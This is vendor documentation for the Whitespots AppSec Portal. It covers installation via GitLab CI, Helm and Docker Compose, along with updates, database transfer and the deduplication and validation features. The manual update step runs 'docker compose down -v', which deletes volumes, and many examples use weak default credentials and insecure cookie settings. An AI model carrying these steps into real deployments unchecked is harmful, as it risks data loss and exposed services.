# Whitespots Wiki Welcome to the Whitespots Wiki! Whitespots provides 2 core products to help you with securing your applications: **AppSec Portal** and **Auditor**. #### Quick overview * [**AppSec Portal**](/appsec-portal) is an application security platform that provides you an overview on your security state, automatically verifies vulnerabilities, removes duplicates, changes severities, closes resolved issues and more. * [**Auditor**](/auditor) is an application that integrates diverse security tools for the analysis of users' products. This tool is used as a component of AppSec Portal to discover vulnerabilities using 20+ scanners. It works like a CI platform and sends reports to AppSec portal. **Support** * If you have any issues during installation or have any questions about using our platform, don't hesitate to reach out to our support team ****** ❤️. # AppSec Portal {% embed url="" %} # Deployment Welcome to the installation guide for AppSec Portal! {% embed url="" %} ## How to install There are **three steps** to installing the AppSec Portal: * [Obtaining a license](/appsec-portal/deployment/license-obtaining) * [Installing the application](/appsec-portal/deployment/installation) * [Entering the license key in the installed application](/appsec-portal/deployment/get-started-with-the-appsec-portal)

How to update

API usage

Data migration

# License obtaining Before you can use our platform, you'll need to obtain a license We've made it easy for you to do so with our ***Whitespots Store***. Here's how to get started: ### Step 1: Register for an account 1. Go to 2. Click on the **Login**/**Sign up** button. 3. Fill in the required information to create your account or sign up using your Google account.
### Step 2: Get your license 1. After logging in, you will be redirected to the Whitespots Store home page. Here you will see your **license details**.\ You will automatically receive a free license when you register. 2. The license key, expiration date, registered email and license type will be displayed. 3. If you wish to obtain a paid version of the licence, click on the **contact us** link at the bottom of the page. This will take you to a page with a request form. {% hint style="success" %} The **license key** is needed [**to activate the AppSec Portal**](/appsec-portal/deployment/get-started-with-the-appsec-portal). You can always go back to the store to copy it. {% endhint %} > If you have any issues during installation or have any questions about using our platform, don't hesitate to reach out to our support team ****** :heart:. # Installation AppSec Portal deployment step-by-step guide
### Repository address ### System Requirements for Portal usage: * Minimum system resources: 8 GB of RAM and 4 CPU cores. * **Recommended** system resources for 500-700 assets: 16 GB of RAM and 8 CPU cores. * Free disk space for installation and data storage of the portal. * Network access for external users (users must be able to connect to the portal over the network). ### Prerequisites Before installing the AppSec Portal, make sure you have the following software installed on your machine (for Docker-compose installation type): * [**Docker**](https://docs.docker.com/get-docker/) (version 19.03 or higher) * [**Docker Compose**](https://docs.docker.com/compose/install/linux/#install-using-the-repository) (version 1.26 or higher) * [**SSH keys**](#ssh-keys) (for GitLab CI installation option)
SSH keys generation To securely connect to the Linux server, you will need to set up SSH keys. If you don't have SSH keys already, you can generate them using the following command in your server terminal: ```bash ssh-keygen ``` :warning: When copying keys, make sure you copy **without spaces**. #### Set SSH key to your Server After generating the SSH keys, you need to copy the **public SSH key** to the Linux server. Use this command to copy the public key: ```bash ssh-copy-id @ ``` Replace `` with your Linux server account username, and `` with the IP address of the Linux server. You will be prompted to enter your password for authentication. Open the file on your local machine where the **private SSH key** is stored. The private key is typically saved with a `.pem` or `.ssh` file extension. Select and copy the contents of the private key file. Ensure you copy the key with the correct permissions and line breaks intact.
{% hint style="info" %} Please note that the AppSec Portal is currently incompatible with Amazon Aurora database. {% endhint %} ### Installation * Option 1: [**GitLab CI installation**](#gitlab-ci-installation) (automated docker-compose installation) * Option 2: [**Install using Helm**](#install-using-helm) (install in Kubernetes environment) * Option 3: [**Docker compose installation**](#docker-compose-installation) (manual docker compose installation)
GitLab CI installation **Step 1:** Fork the [AppSec Portal repository](https://gitlab.com/whitespots-public/appsec-portal.git). \ This will create a copy of the repository under your account, which you can then modify and configure as needed **Step 2:** Set the public SSH key [on the host](#set-ssh-key-to-your-server) where the portal will be deployed. \ Add an SSH key to your [GitLab account](https://docs.gitlab.com/ee/user/ssh.html#add-an-ssh-key-to-your-gitlab-account) \ This key will be used to establish a secure connection between the host and the repository **Step 3:** [Configure Environment Variables](https://docs.gitlab.com/ee/ci/variables/) for a forked project in GitLab CI/CD settings * **mandatory** environment variables that **must** be specified \ (In the CI/CD settings, you need to set the following environment variables for these keys): SEC\_PORTAL\_HOST: Specify the host where the portal will be deployed SSH\_KEY\_PRIVATE: Set the private SSH key within the forked repository. \ This key will be used for authentication during the installation process * **optional** environment variables. \ You can choose to **accept** the **default** values provided for demonstration purposes **or specified** it if necessary: ```bash IMAGE_VERSION=latest DB_NAME=db_name DB_USER=db_user DB_PASS=db_pass DB_HOST=db_host DB_PORT=5432 GUNICORN_WORKERS=4 GUNICORN_THREADS=4 IMPORTER_GUNICORN_WORKERS=1 IMPORTER_GUNICORN_THREADS=1 RABBITMQ_DEFAULT_USER=admin RABBITMQ_DEFAULT_PASS=mypass AMQP_HOST_STRING=amqp://admin:mypass@rabbitmq:5672/ DOMAIN=http://localhost COOKIES_SECURE=False (True if you use https) ``` The IMAGE\_VERSION The script will autonomously determine the most recent version For optimal performance (tested on 1 million findings), it is recommended to specify the following environment values: GUNICORN\_WORKERS = **4** and GUNICORN\_THREADS= **4**\ \ To configure the import worker and import threads, the following is necessary: \ IMPORTER\_GUNICORN\_WORKERS determines the number of workers for processing import tasks. It is recommended to set a value that takes into account the volume and intensity of import tasks. \ IMPORTER\_GUNICORN\_THREADS defines the number of threads within each import worker. This affects the parallel processing of tasks within the worker. DB\_NAME, DB\_USER, DB\_PASS, DB\_HOST, DB\_PORT variables are required for database configuration If the message broker is hosted on a third-party server, only the AMQP\_HOST\_STRING must be specified. However, if the container is raised locally, all three variables, including RABBITMQ\_DEFAULT\_USER and RABBITMQ\_DEFAULT\_PASS need to be specified. \ The username and password in the RABBITMQ\_DEFAULT\_PASS and RABBITMQ\_DEFAULT\_USER variables **must be the same** as in AMQP\_HOST\_STRING. The COOKIES\_SECURE variable determines the cookie security flag. It should be set to `True` if HTTPS is used. **Step 4:** Run pipeline **Step 5:** Click on **install** section The GitLab CI script provided in the forked repository will handle the installation process This script will raise the portal and generate a user with administrator privileges **using the default login and password credentials** ***"admin/admin"*** Please note that after the initial installation, it is **necessary to reset the password** for the administrator user via the Django admin panel: follow the `.com/admin` URL and sign in using the superuser credentials, then select "**Users**" in the left panel. You can add users from there **Next step:** [Start your AppSec Portal and apply the licence](/appsec-portal/deployment/get-started-with-the-appsec-portal)
Install using Helm Before using Helm, make sure that Helm is installed on your computer and that your Kubernetes cluster is configured to work with Helm **Step 1:** Add helm package Add the AppSec Portal package to your server: ``` helm repo add appsecportal https://gitlab.com/api/v4/projects/37960926/packages/helm/stable ``` **Step 2**: Install it Example install with default PostgreSQL and RabbitMQ: ``` helm upgrade --install portal portal/portal \ --set postgresql.enabled=true \ --set ingress.enabled=true \ --set rabbitmq.enabled=true \ --set rabbitmq.auth.username="admin" \ --set rabbitmq.auth.password="admin" \ --set ingress.annotations."nginx\.ingress\.kubernetes\.io\/scheme"=internet-facing \ --set ingress.annotations."nginx\.ingress\.kubernetes\.io\/target\-type"=ip \ --set ingress.ingressClassName=nginx \ --set ingress.host=localhost \ --set configs.configMap.cookies_secure=false \ -n whitespots-portal --create-namespace ``` Example install with external PostgreSQL and external RabbitMQ: ``` helm upgrade --install portal portal/portal \ --set postgresql.enabled=false \ --set rabbitmq.enabled=false \ --set externalRabbitmq.enabled=true \ --set externalRabbitmq.scheme="amqps" \ --set externalRabbitmq.port="5671" \ --set externalRabbitmq.username="myuser" \ --set externalRabbitmq.vhost="vhost" \ --set externalRabbitmq.password="password" \ --set externalRabbitmq.host="rabbit.cloudprovider.com" \ --set externalPostgresql.enabled=true \ --set externalPostgresql.host="postgres.cloudprovider.com" \ --set externalPostgresql.port="5432" \ --set externalPostgresql.database="postgres" \ --set externalPostgresql.username="postgres" \ --set externalPostgresql.password="postgres" \ --set ingress.enabled=true \ --set ingress.annotations."nginx\.ingress\.kubernetes\.io\/scheme"=internet-facing \ --set ingress.annotations."nginx\.ingress\.kubernetes\.io\/target\-type"=ip \ --set ingress.ingressClassName=nginx \ --set ingress.host=localhost \ --set configs.configMap.cookies_secure=false \ -n whitespots-portal --create-namespace ``` **Step 3:** Create a superuser account ``` kubectl exec -it $(kubectl get pods -n whitespots-portal -l app.kubernetes.io/name=portal-portal -o jsonpath='{.items[0].metadata.name}') -n whitespots-portal -- python manage.py createsuperuser --username admin ``` **Step 4:** Just in case if you don't have any ingress inside your cluster ``` helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx helm repo update helm install nginx-ingress ingress-nginx/ingress-nginx -n ingress-nginx --create-namespace ``` **For more details please visit** [**our repository**](https://gitlab.com/whitespots-public/appsec-portal/-/tree/main/AppsecPortal-HelmChart?ref_type=heads) This username and password will allow you to **log in to** the installed **AppSec Portal** **Next step:** [Start your AppSec Portal and apply the licence](/appsec-portal/deployment/get-started-with-the-appsec-portal)
Docker compose installation **Step 1:** Clone the repository Clone the AppSec Portal repository to your server: ```bash git clone https://gitlab.com/whitespots-public/appsec-portal.git appsec-portal ``` **Step 2:** Navigate to the root directory Navigate to the root directory of the AppSec Portal project by executing the following command: ```bash cd appsec-portal ``` **Step 3:** Set environment variables In the root directory of the AppSec Portal project, execute the following command: 
./set_vars.sh
The script prompts you for values for the following environment variables, including optional ones. You can also accept the default values for optional variables by pressing Enter: 
DB_NAME{default=postgres}
DB_USER{default=postgres}
DB_PASS{default=postgres}
DB_HOST{default=postgres}
DB_PORT{default=5432}
RABBITMQ_DEFAULT_USER{default=admin}
RABBITMQ_DEFAULT_PASS{default=mypass}
AMQP_HOST_STRING{default=amqp://admin:mypass@rabbitmq:5672/}
COOKIES_SECURE{default=True}
DOMAIN=http://localhost
IMAGE_VERSION=release_v24.08.4
* The `IMAGE_VERSION` the required variable must be specified. Specify a [specific version](/appsec-portal/release-notes), e.g. release\_v24.08.4 * The `DOMAIN`the required variable must be specified. Specify the domain where the AppSec Portal will be accessible * `DB_NAME`, `DB_USER`, `DB_PASS`, `DB_HOST`, `DB_PORT` optional variable. Specify the variables needed to configure the database, or use the defaults. * If the message broker is hosted on a third-party server, only the `AMQP_HOST_STRING` must be specified. However, if the container is raised locally, all three variables, including `RABBITMQ_DEFAULT_USER` and `RABBITMQ_DEFAULT_PASS` need to be specified\ The username and password in the RABBITMQ\_DEFAULT\_PASS and RABBITMQ\_DEFAULT\_USER variables **must be the same** as in AMQP\_HOST\_STRING. * The `COOKIES_SECURE` variable determines the cookie security flag. It should be set to `True` if HTTPS is used The set\_vars.sh script creates the .env file with the configured environment variables and generates a pair of JWT keys, which are used to sign JWT keys and SECRET\_KEY is used to generate hashes in Django. DO NOT run the ./set\_vars.sh command twice. \ If you need to change the value of a variable, do so in the .env file. **Step 4:** Start the AppSec Portal To start the AppSec Portal, run the following command: ```bash sh run.sh ``` **Step 5:** Create a superuser account To create an administrator account, execute the following command: ```bash docker compose exec back python3 manage.py createsuperuser --username admin ``` This username and password will allow you to **log in to** the installed **AppSec Portal** or Create users using Django admin panel In order to access admin settings, follow the `.com/admin` URL and sign in using the superuser credentials, then select **Users** in the left panel. You can add users from there. Don't forget to assign the necessary permissions to the users. **Next step:** [Start your AppSec Portal and apply the licence](/appsec-portal/deployment/get-started-with-the-appsec-portal)
Congratulations, you have successfully installed the AppSec Portal! \ Now [**apply the licence**](/appsec-portal/deployment/get-started-with-the-appsec-portal) to your installed application. > If you have any issues during the installation process or while using the app, contact our support team ****** for assistance:heart:. # Get started with the AppSec Portal Once the portal has been installed and launched, open it in a **browser** **Get your license using this instruction** [License obtaining](/appsec-portal/deployment/license-obtaining) **Enter the license number** to activate it.
**log in** with the login and password you created during the installation process.
Congratulations, you're now ready to use AppSec Portal!\ Let's start [**configuring** ](/appsec-portal/deployment/get-started-with-the-appsec-portal/configuration-options)your AppSec Portal > If you have any issues during installation or have any questions about using our platform, don't hesitate to reach out to our support team ****** :heart:. # Configuration options Customise your AppSec Portal to meet your needs See tariff plans on our [website](https://whitespots.io/) | Settings | Essential (free) | Auditor (paid) | Enterprise (paid) | | :-------------------------------------------------------------------------------------------: | ---------------- | :------------: | :---------------: | | [Users\&Roles](/appsec-portal/general-portal-settings/managing-user-roles-and-access-control) | ✅ | ✅ | ✅ | | [SSO ](/appsec-portal/general-portal-settings/sso-settings) | ❌ | ❌ | ✅ | | [Product Settings](/appsec-portal/features/working-with-products) | ✅ | ✅ | ✅ | | [Scanner Settings](/appsec-portal/general-portal-settings/scanner-settings) | ✅ | ✅ | ✅ | | [Metrics](/appsec-portal/features/security-metrics/metrics-settings) | ✅ | ✅ | ✅ | | [Jira integration](/appsec-portal/features/jira/jira-integration-configuration) | ✅ | ✅ | ✅ | | [DefectDojo integration](/appsec-portal/features/move-from-defectdojo) | ✅ | ✅ | ✅ | | [Notification](/appsec-portal/general-portal-settings/notification-settings) | ✅ | ✅ | ✅ | | [Auditor](/appsec-portal/features/vulnerability-discovery/auditor-settings/auditor-config) | ❌ | ✅ | ✅ | | [Basic deduplication](/appsec-portal/features/deduplicator/basic-deduplicator-rules) | ✅ | ❌ | ✅ | | [Dedublicator](/appsec-portal/features/deduplicator) | ❌ | ❌ | ✅ | | [Auto Validator](/appsec-portal/features/auto-validator) | ❌ | ❌ | ✅ | | [CVSS](/appsec-portal/features/security-metrics/cvss) | ❌ | ❌ | ✅ | # Update How to update AppSec Portal * [**GitLab CI update**](#option-1.-update-using-gitlab-ci) * [**Update using Helm**](#update-using-helm) * [**Manual update**](#option-2.-manual-update) To update the AppSec Portal to the latest version, follow these steps: ### Update using GitLab CI 1. [Update](https://docs.gitlab.com/ee/user/project/repository/mirror/index.html) your forked repository 2. Run pipeline 3. Click on **update** section
### Update using helm 1. To update, run the following command: 
helm repo update appsecportal
helm upgrade appsecportal appsecportal/appsecportal
`helm repo update appsecportal`: This command gets the latest Helm package from the repository, ensuring that you have the latest version. `helm upgrade appsecportal appsecportal/appsecportal`: This command upgrades your application to the latest version. If any variables have been changed since installation, you must specify them again in this command to ensure that they are applied correctly. ### **Manual update** 1. Pull the latest changes from the repository: ```bash git pull ``` 2. Edit `IMAGE_VERSION` variable in .env file 3. Pull images ``` docker compose pull ``` 4. Restart your app 
docker compose down -v && docker compose up -d
This will stop all services and remove the associated volumes, which will clean up the environment. That's it. Portal will care about all migrations :smile: # Accessing the AppSec Portal API Endpoints The AppSec Portal provides a comprehensive set of API endpoints that can be used to programmatically interact with the platform. You can use these APIs to integrate the AppSec Portal with **your own tools and systems**, automate workflows, and extract data for analysis and reporting. ### Accessing the API Endpoints To access the AppSec Portal API endpoints, navigate to the following URL in your web browser: 
https://<your_instance>/api/v1/docs/
This URL will take you to the API documentation page, where you can browse the available endpoints and their corresponding HTTP methods, input parameters, and output formats.
# Database transfer guide By following the steps outlined in this guide, you can safely and effectively transfer the AppSec Portal's database to a new host This guide outlines the steps to transfer a database using Docker and various commands. The process involves creating a database dump, transferring it to a remote server, and restoring it in a new container. If you have changed the default values for DB\_USERNAME and DB\_NAME, make sure to use your custom values in the commands provided below. Otherwise, the values of ***postgres*** should be used for both. ### Step 1: Preparing the New Host Before transferring the database to the new host, ensure that the AppSec Portal is [installed](/appsec-portal/deployment/installation) and properly set up on new host. Follow the steps below to prepare the new host for the database migration: 1. Ensure that the AppSec Portal configuration is correctly set up on the new host, including database connection parameters. If the DB\_USERNAME and DB\_NAME was changed during the setup, make sure to use the custom values in the configuration. 2. Drop the Existing Database Inside the container, execute the following command to drop the existing database: ``` docker exec -i appsec-portal_postgres_1 dropdb -U ``` 3. Create a New Database. While still inside the container, create a new database with the same name using the following command: ``` docker exec -i appsec-portal_postgres_1 createdb -U ``` ### Step 2: Create a Database Dump on the Current Host 1. Open a terminal or command prompt. Navigate to the directory where you want to create the database dump file. ``` cd /path/to/destination_directory ``` 2. Execute the following command to create a database dump from the current host: ``` docker exec -i appsec-portal_postgres_1 pg_dump -U > pg_dump ``` The pg\_dump file will be created in the previously specified directory. ### Step 3: Transfer the Database Dump to the New Host Copy the database dump file (pg\_dump) to the new host using a secure method, such as SCP (Secure Copy) or any other file transfer mechanism you prefer. ### Step 4: Restore the Database on the New Host 1. Once the database dump file is on the new host, open a terminal or command prompt on the new host. Navigate to the directory where the database dump file is located. ``` cd /path/to/source_directory ``` 2. Copy the database dump file into the appsec-portal\_postgres\_1 container on the new host: ``` docker cp pg_dump appsec-portal_postgres_1:/pg_dump ``` 3. Restore the database from the dump on the new host inside the container: ``` docker exec -it appsec-portal_postgres_1 psql -U -d -f /pg_dump ``` Congratulations! You have successfully transferred the database. {% hint style="info" %} You can also use this guide to restore the database from a backup by skipping steps 2 and 3. {% endhint %} # FAQ: typical errors in deployment process Deployment of software applications is a critical process that ensures the application is available. However, there are many things that can go wrong during the deployment process. In this page, we will highlight some **common errors** that occur during deployment and provide **solutions** for resolving them. ### Keys without \n in Environment Variables One common error that occurs during deployment is when keys (such as **`LICENSE_SERVER_PUBLIC_KEY`**, **`JWT_PRIVATE_KEY`**, and **`JWT_PUBLIC_KEY`**) are passed to environment variables without **`\n`** at the beginning and at the end, as specified in the [`docker-compose.yml`](https://gitlab.com/whitespots-public/appsec-portal/-/blob/main/docker-compose.yml) file. This error can lead to the following error message:
**Solution:** To fix this error, make sure that all keys that are passed to environment variables have `\n` at **the beginning** and **at the end**, as shown in the following example (from `docker-compose.yml`): {% code overflow="wrap" %} ```yaml LICENSE_SERVER_PUBLIC_KEY:------BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1FNL5uDzHbXyxgpTbVfE\nXtSn9yjo4wVRTllv8sUHmOCRfDWi7jMtRllIrZODbdPXy1qpfDAJjCw/8mRGR1QZ\nPPjUvcHT2cHFmYqjnO7jt3ywls8Sq+x2R6rG4EonKTWxJ27CoM6q8pl4z/Oqea9t\nwy9DQB9lTUipWLGGWenRtURt5YniGe6mLl/GFX1NVbDZOv7q+N/lHyBu/jFoWnnA\nfuqh9NzFM8yh+h81m+IXqFEU/4y9GRYHx2TKfCg36kYkEHF84DhV8DAiC+wmQbI5\nXNmlBHaW3yIiSnUWqC/QVlsdd8edXKh3pnpLsZ8+4Ni0+3+bV6UXtKUXD4oE2xAT\nvwIDAQAB\n-----END PUBLIC KEY----- ``` {% endcode %} > If you have any issues during installation or have any questions about using our platform, don't hesitate to reach out to our support team ****** :heart:. # Post install Configuration {% embed url="" %} ## Configure auditor 1. [Install auditor](/auditor/deployment) 2. [Configure auditor](/appsec-portal/features/vulnerability-discovery/auditor-settings/auditor-config) ## Add sequences Use the [following guide](/appsec-portal/features/vulnerability-discovery/auditor-settings/sequences/sequences-creating) ## Import automation rules Ask our team to send you the latest ruleset if we haven't done it for some reason :smile: ## Configure Version Control integration This step will be the last one if you want to just scan your repositories, validate issues, remove duplicates from different scanners. Here's [our guide](/appsec-portal/general-portal-settings/version-control-integration) But keep in mind, that you will see only those repositories, which developers commit into. ## Create a default product It's very important for future manipulations with assets. Use [this short guide](/appsec-portal/features/asset-management/default-product) ## Import repositories If you want to scan all repositories by manual trigger - import them using this instruction and be ready to perform scans. This is[ how you can do it](/appsec-portal/features/asset-management/how-to-import-repositories-from-version-control) ## Perform scans Please follow [this guide ](/appsec-portal/features/vulnerability-discovery/run-audit/run-audit-manually) # Features #### Security Metrics [View details](/appsec-portal/features/security-metrics) ✔️ Manage different SLA's and WRT, based on product criticality.\ ✔️ Customizable dashboard metrics (per products, product types, products with tags and so on) \ ✔️ Identify and analyse risk of security defects in every product with informative Dashboard and Risk Assessment Overview. \ ✔️ Configure a CVSS rule to better assess the security of detected issues in your products.
#### Get rid of False Positives (scanner noise) [View details](/appsec-portal/features/auto-validator) ✔️ Helpful tool for automatic validation of findings that does not interfere with the implemented logic.
#### Remove duplicates from different tools [View details](/appsec-portal/features/deduplicator) ✔️ Rules\ ✔️ Cross-scanner deduplication \ ✔️ Cross-product deduplication (if required)
#### Filter issues conveniently [View details](/appsec-portal/features/findings-view) ✔️ Groups findings automatic and manual\ ✔️ Tag assigning\ ✔️ Bulk action\ ✔️ Filters and sorting
#### Integrate SSDLC with task managers [View details](/appsec-portal/features/jira) ✔️ Portal supports 2 spaces (Security and Product). \ ✔️ You can set default space for all products at once. \ ✔️ Portal creates tasks in separate query, so other functionality will not affect the speed of task creation.
#### Generate VAPT reports [View details](/appsec-portal/features/custom-reports) ✔️ Issue a full report or executive summary\ ✔️ Include all or verified findings in the report\ ✔️ Issue a report for one, multiple or all products\ ✔️ View the report online or print it out
#### Receive recommendations based on your data [View details](/appsec-portal/features/recommendations) ✔️ Best practice recommendations \ ✔️ Recommendations based on process insights \ ✔️ Recommendations based on portal settings
# Auto Validator Triage vulnerabilities faster than ever! {% embed url="" %} * [**Rule creation guide**](/appsec-portal/features/auto-validator/rule-creation) * [**Rules filters & sorting**](/appsec-portal/features/auto-validator/rules-view) **Auto Validator** provides customizable search conditions, automatic triaging, and tag creation for validated findings, making vulnerability management more efficient and seamless.
Average processing speed: **40000 find/sec**. # Rule creation {% hint style="info" %} You can **export** and **import** selected validation rules in JSON format. {% endhint %} To export, select the desired rules and click the **Export** button: To import, click the '**Import**' button and drag and drop the JSON file containing the validation rules: 1. Add new rule for validation:
* decide what to do with findings if the right conditions are met: **reject, confirm, no, temporarily accept risk or permamently accept risk .** If **сonfirm** is selected, the validator will automatically create corresponding tasks in Jira. If **reject** is selected, findings will be excluded from future checks. If **No** is selected, entered **tag** or/and **group** will be assigned to findings in accordance with rule; * automatically add tags to validated findings; * automatically add group to validated findings; * set conditions: specify the value you want to find or exclude, choose where to search (in the *title*, *description*, *file path, branch,* *scanner* name, *dependency*, *vulnerable* *url*, *import* *source* (internal or external at your option); * you can always combine conditions through **junction**, just click on the plus button.
{% hint style="info" %} Get a quick overview of the potential impact of your rule with the *affected findings list* in the Auto Validator's **rule creation view**. {% endhint %} 2. Set the **launch frequency** with which you want the rules to be applied (in minutes):
{% hint style="warning" %} Note that changing in the execution frequency may require a **service restart** or the **creation of new rules** to apply to existing data. {% endhint %} 3\. The validator finishes **before** you even think about making a *coffee*! ☕️
{% hint style="info" %} Please note that the Auto Validator feature is limited to one validation rule in the free license. If you wish to use **more than one rule**, you will need to **upgrade to a paid license**. {% endhint %} # Rules view By clicking on the triplet next to an Autovalidator rule, you can: * view the rule * modify it * view the products for that rule * view affected findings * delete that rule
Use the handy **filters** to find the rules you need at a glance:
Search rules by **value** name:
# Deduplicator Deduplicator can help streamline the vulnerability management process and save time by identifying and removing duplicate findings ## What is deduplication **Deduplication** is the process of *identifying* and *removing duplicate* findings from multiple scanners. \ If an organization uses ***multiple scanners*** to test its software applications, the same vulnerabilities may be found by different scanners. In such cases, deduplication helps to identify the original findings and remove duplicates, thus streamlining the vulnerability management process. AppSec Portal offers two types of deduplication: **Basic** and **Advanced**. ## How Deduplication works in AppSec Portal ### **Basic Deduplication:** Upon receiving a new finding, the basic deduplication process checks for duplicates within the selected scope before adding it in the database. The scope can be [defined ](/appsec-portal/features/deduplicator/basic-deduplicator-rules)by the Product, Product type, or Portal scope. Parameters such as Branch, Docker image, Domain, Host, Repository, and Scanner are considered. If a duplicate is found, the new finding is ignored and not added to the database. ### Advanced Dedublicator: Advanced Deduplication in AppSec Portal goes beyond the basic identification of duplicates by searching within previously identified findings recorded in the database. This process ensures a comprehensive approach to eliminating redundancy in vulnerability management. When the advanced deduplication process is initiated, the system searches for matches among the findings already stored in the database.
AppSec Portal's **Deduplicator** feature allows to set up deduplication rules based on specific *criteria* and *instructions*. After configuring the deduplication rules, you'll obtain **two sets** of findings: the originals and the duplicates. The originals encompass the findings deemed within the original scope, whereas the duplicates consist of findings that are replicated across various scanners (**collection of sets**) AppSec Portal then analyzes the duplicate findings in accordance with the [specified configurations](/appsec-portal/features/deduplicator/basic-deduplicator-rules), comparing them with the original findings. If any finding within the duplicate scope matches a finding in the original scope based on the specified settings, that particular finding will be removed from the database. {% hint style="info" %} Please note that the Deduplicator feature is limited to a basic deduplication in the free license, it works at the stage of importing findings into the database, removing full duplicates. If you wish to use **custom rules**, you will need to **upgrade to a paid license**. {% endhint %} # Basic deduplicator rules Basic deduplication works during report import, scanner report post-processing and Auditor execution, within the specified scope and using configurable matching criteria. To set up a rule for Basic Deduplicator, follow the steps below 1. Navigate to **Settings** -> **Maintenance** -> **Basic Dedublication** 2. Select the **Deduplication Criteria**
When criteria are chosen, new findings are compared only with those having equal values in selected criteria; otherwise, without selected criteria, new findings are compared with all existing findings in specified scope. You can select one or more criteria: * Same branch * Same Docker Image * Same Domain * Same Host * Same Repository * Same Cloud account * Same Scanner * Same custom field
3. Select the **Scope** within which the basic deduplication will take place * **Product scope**: the results are compared with findings from the specified product to identify possible duplicates. The deduplication process is limited to detections from the specified product only. * **Product type scope**: new inspection results are compared to the detections of all products with the same product type as the current product. The duplicate search focuses on results from all products with the corresponding product type. * **Portal scope**: the results are analysed against existing detections in the AppSec Portal to identify duplicates. Results from all products and product types in the system are used to search for duplicates.
# Advance Deduplicator rules To set up a rule for Deduplicator, follow the steps below 1. Select the **Deduplicator**, followed by clicking on the **Rule** button
1. Define the products to which the rule will apply or leave All as default
3. Select one or more **identity criteria** of original and duplicate findings*:* * **same product** * **same title** * **same file path** * **same line number** * **same dependency** * **same vulnerable URL**
4. Create indications for findings designated for the **original scope** within the Original section: Select a **parameter** and specify its **value** (presence or absence of a value) to be used in the running of the deduplication rules.\ Available parameters: * **title** * **description** * **file path** * **branch** * **scanner** * **dependency** * **vulnerable url** * **import source** (internal or external at your option) You can combine terms via join, just click on the plus button
5. Create indications for findings designated for the **dublicate scope** within the Dublicate section. These conditions must be defined with the **same parameters** as for the original scope, but with **other values**
6. Click the **Active** slider to activate the rule 7. Click the **Submit** button to apply the deduplication rule to your scan results
Deduplicator will **automatically** identify and remove any duplicate findings based on the rule you have created
# Vulnerability discovery [**Auditor**](/auditor) is your reliable tool for ensuring the security of your products. This application conducts scans of **code**, **websites**, and **images** to identify potential vulnerabilities and security issues. With multiple powerful scanners, Auditor analyzes your product with precision and efficiency. When using Auditor through the AppSec Portal, you can setting up and use Auditor through a user-friendly interface. * [Setting up products and the Auditor](/appsec-portal/features/vulnerability-discovery/auditor-settings) * [Run audit](/auditor/features/run-audit/appsec-portal-cooperation) * [View Assets](/appsec-portal/features/asset-management) * [Asset Transfer Between Products](/appsec-portal/features/asset-management/asset-transfer-between-products) * [View completed audits](/appsec-portal/features/vulnerability-discovery/audits) # Audits You can view the **audits performed** using: ## Audits screen Selecting the **Audits** section from the left-hand menu bar **on the home page** will bring up a screen displaying **all** audits performed on the portal. \ Audits are displayed by date and time, product, assets and scanners used.
### Use of the filter You can find the audit you are looking for by filtering the results by Scanner name or/and Asset name
### Findings veiw Each Asset and Scanner displays the number of new and resolved findings. You can view these findings by clicking on the corresponding value.
### Bulk actions By selecting multiple entries you can **delete** them in bulk
## Product audit screen On the Products page you will find the Audits screen. \ All audits for the product you are viewing are displayed here. \ The same actions are available on the records as on the main Audits screen.
## Asset Audit Screen When viewing a particular Asset, at the bottom of the screen you can also find all the audits performed on it. \ The same actions with records are available as for the main audit screen
# Auditor settings If you use a AppSec Portal, you can set up the Auditor directly on the portal **Auditor Settings:** 1. [**Product Asset**](/appsec-portal/features/asset-management/adding-a-product-asset)**:** * Enter information about the location of your product. 2. [**Auditor Configurator**](/appsec-portal/features/vulnerability-discovery/auditor-settings/auditor-config)**:** * Set up the configurator by providing credentials for connecting to your resources. 3. [**Jobs**](/auditor/features/settings/jobs)**:** * Here you can find the scanners in use along with standard commands and variables for each. If needed, you can [modify](/auditor/features/settings/jobs/job-configuration) or add to these parameters. 4. [**Sequences**](/appsec-portal/features/vulnerability-discovery/auditor-settings/sequences) **(Pipelines):** * Use sequences to define the order of scanner operations. # Auditor config 1. Navigate to the Auditor section
1. On the Auditor config page, fill in the details for accessing your resources:
2.1. Authentication section: * ***Auditor URL***: The host on which Auditor is installed * ***Access token***: Access token received during Auditor installation
2.2. Enable or disable the ***Verify SSL*** option to verify the SSL certificate If the data is correct, you will see a confirmation of connection and successful authentication
2.3. Activate ***Group asset of different types*** to optimize the number of pipelines
2.4. Enter the credentials of a ***private SSH key*** to connect to your repository to inspect the **code**
2.5. Specify the data of your docker registry where the **images** to be scanned are located
2.6. If you have an image of your own job (e.g. of a scanner) add it in ***Docker credentials to pull job images*** section
Enter a credencial to your registry:
2.7 Adjust the "Code Downloader" job settings
You need to scroll down to the command section
# Sequences Include the scanners you want in your Pipeline Sequences are a set of jobs (scanners) that sequentially scan your product. \ In this section you will find information how to: * [**Create sequence**](/appsec-portal/features/vulnerability-discovery/auditor-settings/sequences/sequences-creating) * [**Change sequence**](/appsec-portal/features/vulnerability-discovery/auditor-settings/sequences/sequences-setting) # Sequences creating To set up a pipeline of a sequence of scanners to process your product perform the following steps: 1. On the **Auditor Sequences** page, click on **Create** button:
2. Input the desired name of your pipeline and click **Create**
3. Click on add ( ), select a job (scanner) from the drop-down list and click on Create to add this job to your pipeline ![Add a job to the sequence](/files/CZAOpjhB5F3G5UTdGYn2) ![Select a scanner job from the list](/files/ubNvm87nlSdJKLV9rlIl) ![Confirm job creation](/files/NJNFWqTrOko2lueLi7BK) 4. Add the next jobs in the same way. Scanning will be performed sequentially from the first job
By default, jobs are added with the option to use shared data - the scan results of a job will be passed to the next job. You can disable this option for each job by clicking on
Congratulations! Your pipeline has been created. You can find it in the Auditor Sequences section
# Sequences setting You can change or additionally configure either in the created sequencer or during the creation process: * By clicking on you can ***replace a job***, ***change*** its ***setting***, ***move it*** (up or down) in your sequence, or ***delete*** it
* By clicking on a job you can view or change the [**configuration**](/auditor/features/settings/jobs/job-configuration) of the **job** if necessary
* You can **remove** a **sequence** from your list of sequences.
# Run audit Set up and run Auditor in the AppSec Portal as [**needed** ](/appsec-portal/features/vulnerability-discovery/run-audit/run-audit-manually)or set up a [**schedule** ](/appsec-portal/features/vulnerability-discovery/run-audit/scheduled-audit-run)to run automatically # Run Audit Manually 1. Сlick on **Audit** on the home page
